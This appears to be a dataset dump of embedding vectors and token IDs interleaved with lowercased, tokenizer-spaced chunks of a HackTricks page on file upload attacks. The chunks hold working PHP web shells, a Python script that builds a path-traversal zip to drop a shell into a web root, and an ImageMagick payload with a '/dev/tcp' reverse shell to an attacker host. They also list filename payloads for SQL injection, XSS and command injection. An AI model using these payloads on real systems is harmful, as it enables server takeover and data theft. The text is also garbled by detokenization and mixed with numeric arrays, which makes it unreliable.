[ 0.2141488939523697, -0.3368689715862274, -0.22931285202503204, 0.5961173176765442, -0.410993754863739, 0.1746966391801834, -0.5263808965682983, -0.1025698333978653, 0.16969116032123566, 0.7140675187110901, 0.0910867378115654, 0.19055482745170593, 0.5103092193603516, -0.5960127115249634, ...
[ 1030, 1006, 1042, 2094, 1024, 1013, 1013, 1031, 2417, 18908, 2098, 1033, 1007, 1025, 3191, 2013, 1037, 2832, 2358, 26797, 2102, 23684, 1027, 1030, 1006, 4654, 8586, 1024, 1013, 1013, 23281, 4328, 1007, 1025, 15390, 2000, 4654, 8873, 2140, ...
hack_tricks
159.txt
4
. 200 oklength : 10 [ image / gif ] saving to : β€˜ [UNK]. php ’ aaaaaaaaaaaaaaaaaaaaaaaaaaaaa 100 % [ = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = > ] 10 - -. - kb / s in 0s 2020 - 06 - 13 03 : 14 : 06 ( 1. 96 mb / s ) - β€˜ [UNK]. php ’ saved [ 10 / 10 ] note that another option you may be thinking of to bypass this check is to make the http server redirect to a different file, so the initial url will bypass the check by then wget will download the redirected file with the new name. this won't work unless wget is being used with the parameter - - trust - server - names because wget will download the redirected page with the name of the file indicated in the original url. other resourceshttps : / / github. com / swisskyrepo / payloadsallthethings / tree / master / upload % 20insecure % 20fileshttps : / / github. com / modzero / mod0burpuploadscannerhttps : / / github. com / almandin / fuxploiderhttps : / / blog. doyensec. com / 2023 / 02 / 28 / new - vector - for - dirty - arbitrary - file - write - 2 - rce. htmltoolsupload bypass is a powerful tool designed to assist pentesters and bug hunters in testing file upload mechanisms. it leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications. from file upload to other vulnerabilitiesset filename to.. /.. /.. / tmp / lol. png and try to achieve a path traversalset filename to sleep ( 10 ) - - -. jpg and you may be able to achieve a sql injectionset filename to < svg onload = alert ( document. domain ) > to achieve a xssset filename to ; sleep 10 ; to test some command injection ( more command injections tricks here ) x
[ 0.20107144117355347, -0.3678426146507263, 0.007510623894631863, 0.40201860666275024, -0.6942353844642639, -0.215266153216362, -0.21192491054534912, 0.16292843222618103, 0.23213203251361847, 1.4089943170547485, 0.3792617619037628, 0.16119351983070374, 0.7618942260742188, -0.4372146427631378...
[ 1012, 3263, 7929, 7770, 13512, 2232, 1024, 2184, 1031, 3746, 1013, 21025, 2546, 1033, 7494, 2000, 1024, 1520, 100, 1012, 25718, 1521, 13360, 11057, 11057, 11057, 11057, 11057, 11057, 11057, 11057, 11057, 11057, 11057, 11057, 11057, 2531, 1003...
hack_tricks
159.txt
5
##ss in image ( svg ) file uploadjs file upload + xss = service workers exploitationxxe in svg uploadopen redirect via uploading svg filetry different svg payloads from url imagetrick vulnerabilityif you can indicate the web server to catch an image from a url you could try to abuse a ssrf. if this image is going to be saved in some public site, you could also indicate a url from url and steal information of every visitor. xxe and cors bypass with pdf - adobe uploadspecially crafted pdfs to xss : the following page present how to inject pdf data to obtain js execution. if you can upload pdfs you could prepare some pdf that will execute arbitrary js following the given indications. upload the [ eicar ] ( https : / / secure. eicar. org / eicar. com. txt ) content to check if the server has any antiviruscheck if there is any size limit uploading fileshere ’ s a top 10 list of things that you can achieve by uploading ( from link ) : 1. asp / aspx / php5 / php / php3 : webshell / rce2. svg : stored xss / ssrf / xxe3. gif : stored xss / ssrf4. csv : csv injection5. xml : xxe6. avi : lfi / ssrf7. html / js : html injection / xss / open redirect8. png / jpeg : pixel flood attack ( dos ) 9. zip : rce via lfi / dos10. pdf / pptx : ssrf / blind xxeburp extensiongithub - portswigger / upload - scanner : http file upload scanner for burp proxygithubmagic header bytespng : " \ x89png \ r \ n \ x1a \ n \ 0 \ 0 \ 0 \ rihdr \ 0 \ 0 \ x03h \ 0 \ xs0 \ x03 [ " jpg : " \ xff \ xd8 \ xff " refer to url for other filetypes. zip / tar file automatically decompressed uploadif you can upload a zip that is going to be decompressed inside the server, you can do 2 things : syml
[ 0.13549955189228058, 0.1735493540763855, -0.004272759892046452, 0.18094423413276672, -0.4880715608596802, -0.026414034888148308, -0.38181671500205994, 0.19973963499069214, 0.25364890694618225, 0.9391179084777832, 0.35494399070739746, 0.15836064517498016, 0.5844902396202087, 0.1556918621063...
[ 4757, 1999, 3746, 1006, 17917, 2290, 1007, 5371, 2039, 11066, 22578, 5371, 2039, 11066, 1009, 1060, 4757, 1027, 2326, 3667, 14427, 20348, 2063, 1999, 17917, 2290, 2039, 11066, 26915, 2417, 7442, 6593, 3081, 2039, 18570, 17917, 2290, 5371, 1...
hack_tricks
159.txt
6
##inkupload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files : ln - s.. /.. /.. / index. php symindex. txtzip - - symlinks test. zip symindex. txttar - cvf test. tar symindex. txtdecompress in different foldersthe decompressed files will be created in unexpected folders. one could easily assume that this setup protects from os - level command execution via malicious file uploads but unfortunately this is not true. since zip archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application. an automated exploit to create this kind of files can be found here : url evilarc. py - hpython2 evilarc. py - o unix - d 5 - p / var / www / html / rev. phpyou can also use the symlink trick with evilarc, if the flag is in / flag. txt make sure you create a symlink to that file and create that file in your system so when you call evilarc it doesn't error. some python code to create a malicious zip : #! / usr / bin / pythonimport zipfilefrom io import bytesiodef create _ zip ( ) : f = bytesio ( ) z = zipfile. zipfile ( f,'w ', zipfile. zip _ deflated ) z. writestr ( '.. /.. /.. /.. /.. / var / www / html / webserver / shell. php ','<? php echo system ( $ _ request [ " cmd " ] ) ;? >') z. writestr ('otherfile. xml ','content of the file') z. close ( ) zip = open ('poc. zip ','wb') zip. write ( f. getvalue ( ) ) zip. close ( ) create _ zip ( ) to achieve remote command execution i took the following steps : 1. create a php shell : <? php if ( isset ( $ _ request ['cmd'] ) ) { $ cmd = ( $ _ request ['cmd'] )
[ -0.007823075167834759, -0.22299301624298096, 0.08285439014434814, 0.8578405380249023, -0.16101062297821045, -0.18565382063388824, -0.7040107250213623, 0.3264593183994293, 0.03569652885198593, 1.0932902097702026, 0.3972354531288147, 0.4736003875732422, 0.32649531960487366, 0.048619735985994...
[ 19839, 6279, 11066, 1037, 4957, 4820, 3730, 6971, 2000, 2060, 6764, 1010, 2059, 1010, 3229, 2075, 1996, 21933, 8737, 16119, 6764, 2017, 2097, 3229, 1996, 5799, 6764, 1024, 1048, 2078, 1011, 1055, 1012, 1012, 1013, 1012, 1012, 1013, 1012, ...
hack_tricks
159.txt
7
; system ( $ cmd ) ; }? > 1. use β€œ file spraying ” and create a compressed zip file : root @ s2crew : / tmp # for i in ` seq 1 10 ` ; do file = $ file " xxa " ; cp simple - backdoor. php $ file " cmd. php " ; doneroot @ s2crew : / tmp # ls *. phpsimple - backdoor. php xxaxxaxxacmd. php xxaxxaxxaxxaxxaxxacmd. php xxaxxaxxaxxaxxaxxaxxaxxaxxacmd. phpxxacmd. php xxaxxaxxaxxacmd. php xxaxxaxxaxxaxxaxxaxxacmd. php xxaxxaxxaxxaxxaxxaxxaxxaxxaxxacmd. phpxxaxxacmd. php xxaxxaxxaxxaxxacmd. php xxaxxaxxaxxaxxaxxaxxaxxacmd. phproot @ s2crew : / tmp # zip cmd. zip xx *. php adding : xxacmd. php ( deflated 40 % ) adding : xxaxxacmd. php ( deflated 40 % ) adding : xxaxxaxxacmd. php ( deflated 40 % ) adding : xxaxxaxxaxxacmd. php ( deflated 40 % ) adding : xxaxxaxxaxxaxxacmd. php ( deflated 40 % ) adding : xxaxxaxxaxxaxxaxxacmd. php ( deflated 40 % ) adding : xxaxxaxxaxxaxxaxxaxxacmd. php ( deflated 40 % ) adding : xxaxxaxxaxxaxxaxxaxxaxxacmd. php ( deflated 40 % ) adding : xxaxxaxxaxxaxxaxxaxxaxxaxxacmd. php ( deflated 40 % ) adding : xxaxxaxxaxxaxxaxxaxxaxxaxxaxxacmd. php ( deflated 40 % ) root @ s2crew : / tmp # 3. use a hexeditor or vi and change the β€œ xxa ” to β€œ.. / ”, i used vi : : set modifiable : % s / xxa /.. \ / / g : x! done! only one step remained : upload the zip file and let the
[ 0.33018144965171814, 0.06057977303862572, -0.31316667795181274, 0.9034045934677124, -0.20587073266506195, -0.06273415684700012, -0.42922845482826233, 0.4193154573440552, 0.3111015558242798, 0.5174058675765991, 0.2642005681991577, 0.4375399649143219, 0.6839827299118042, -0.01766646280884742...
[ 1025, 2291, 1006, 1002, 4642, 2094, 1007, 1025, 1065, 1029, 1028, 1015, 1012, 2224, 1523, 5371, 29035, 1524, 1998, 3443, 1037, 16620, 14101, 5371, 1024, 7117, 1030, 1055, 2475, 16748, 2860, 1024, 1013, 1056, 8737, 1001, 2005, 1045, 1999, ...
hack_tricks
159.txt
8
application decompress it! if it is succeeds and the web server has sufficient privileges to write the directories there will be a simple os command execution shell on the system : reference : url this content with an image extension to exploit the vulnerability ( imagemagick, 7. 0. 1 - 1 ) push graphic - contextviewbox 0 0 640 480fill'url ( https : / / 127. 0. 0. 1 / test. jpg " | bash - i > & / dev / tcp / attacker - ip / attacker - port 0 > & 1 | touch " hello )'pop graphic - contextembedding php shell on pngthe primary reason putting a web shell in the idat chunk is that it has the ability to bypass resize and re - sampling operations - php - gd contains two functions to do this imagecopyresized and imagecopyresampled. read this post : url filespolyglots, in a security context, are files that are a valid form of multiple different file types. for example, a gifar is both a gif and a rar file. there are also files out there that can be both gif and js, both ppt and js, etc. polyglot files are often used to bypass protection based on file types. many applications that allow users to upload files only allow uploads of certain types, such as jpeg, gif, doc, so as to prevent users from uploading potentially dangerous files like js files, php files or phar files. this helps to upload a file that complins with the format of several different formats. it can allows you to upload a phar file ( php archive ) that also looks like a jpeg, but probably you will still needs a valid extension and if the upload function doesn't allow it this won't help you. more information in : url register - register - [SEP]
[ 0.2531154751777649, 0.12190679460763931, 0.19773578643798828, 0.2399333119392395, -0.2317235767841339, -0.36292529106140137, -1.0105584859848022, 0.48912253975868225, 0.20720940828323364, 1.370139718055725, 0.26004308462142944, 0.22503864765167236, 0.7811304926872253, -0.0880594551563263, ...
[ 4646, 21933, 8737, 8303, 2009, 999, 2065, 2009, 2003, 21645, 1998, 1996, 4773, 8241, 2038, 7182, 14310, 2000, 4339, 1996, 2472, 3111, 2045, 2097, 2022, 1037, 3722, 9808, 3094, 7781, 5806, 2006, 1996, 2291, 1024, 4431, 1024, 24471, 2140, 2...
hack_tricks
159.txt
9